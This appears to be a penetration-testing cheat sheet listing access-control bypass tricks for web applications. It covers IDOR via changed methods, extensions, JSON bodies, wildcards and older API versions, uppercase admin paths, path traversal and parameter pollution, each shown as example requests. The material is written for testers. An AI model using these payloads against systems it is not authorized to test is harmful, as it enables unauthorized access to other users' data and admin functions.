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WEB ATTACKS
Insecure Direct Object Reference (IDOR)
Change HTTP method
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GET /users/delete/123 -> 403
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POST /users/delete/123 -> 200
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Change file extension
Try to change the extension of the endpoint that you have.
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#Endpoint found
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/users/password -> 401
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​
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#Endpoints to test
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/users/password.json
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/users/password.xml
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Convert request body
Convert the body of the request to array or to include a json on it.
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#Original body
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{"id":1}
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​
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#Bypasses
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{"id":[1]}
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{"id":{"id":1}}
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Test wildcards
Change the identifier of the request to a wildcard.
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#Original request
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/api/v1/userlist/user1
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​
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#Wildcard bypasses
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/api/v1/userlist/*
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Check another version
Many API endpoints expose the version in the request, try to change it to use another older.
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#Original request
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/api/v3/user/user3
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​
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#Changed version of the same endpoint
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/api/v2/user/user3
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/api/v1/user/user3
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Missing Function Level Access Control (MFLAC)
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GET /admin/profile -> 401
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GET /ADMIN/profile -> 200
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Path Traversal Secondary Context
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#Original request
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POST /users/delete/123 -> 403
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​
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#Bypass
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POST /users/delete/MY_ID/../123 -> 200
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HTTP Parameter Pollution
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GET /api/v1/messages?user_id=ATACKER_ID&user_id=VICTIM_ID
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GET /api/v1/messages?user_id=VICTIM_ID&user_id=ATACKER_ID
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References
Autorize
Burp Suite extension aimed at helping the penetration tester to detect authorization vulnerabilities
Auto Repeater
Burp Suite extension that automatically repeats requests, with replacement rules and response diffing
Last modified 6mo ago